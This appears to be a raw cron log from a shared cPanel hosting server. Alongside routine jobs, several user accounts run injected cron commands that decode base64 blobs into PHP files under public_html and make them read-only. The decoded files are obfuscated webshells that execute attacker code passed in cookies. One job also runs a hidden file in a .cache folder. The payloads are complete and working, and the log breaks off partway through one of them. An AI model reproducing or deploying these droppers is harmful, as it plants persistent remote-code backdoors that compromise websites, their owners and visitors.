Jun  7 06:43:02 medusa CROND[23193]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:43:02 medusa CROND[23194]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:43:02 medusa CROND[23195]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 06:43:02 medusa CROND[23197]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:43:02 medusa CROND[23198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:43:02 medusa CROND[23199]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:43:02 medusa CROND[23196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:43:02 medusa CROND[23200]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:43:02 medusa CROND[23202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:43:02 medusa CROND[23205]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:43:02 medusa CROND[23201]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 06:44:01 medusa CROND[25127]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:44:01 medusa CROND[25128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:44:01 medusa CROND[25129]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:44:01 medusa CROND[25130]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:44:01 medusa CROND[25131]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:44:01 medusa CROND[25132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:44:01 medusa CROND[25134]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:44:01 medusa CROND[25137]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:44:01 medusa CROND[25136]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:44:01 medusa CROND[25139]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:44:01 medusa CROND[25140]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:44:01 medusa CROND[25142]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:44:01 medusa CROND[25145]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:45:02 medusa CROND[27092]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:45:02 medusa CROND[27137]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:45:02 medusa CROND[27138]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:45:02 medusa CROND[27141]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:45:02 medusa CROND[27142]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:45:02 medusa CROND[27143]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:45:02 medusa CROND[27144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:45:02 medusa CROND[27147]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 06:45:02 medusa CROND[27145]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:45:02 medusa CROND[27154]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:45:02 medusa CROND[27162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:45:02 medusa CROND[27165]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:45:02 medusa CROND[27163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:45:02 medusa CROND[27161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:45:02 medusa CROND[27168]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:45:02 medusa CROND[27169]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0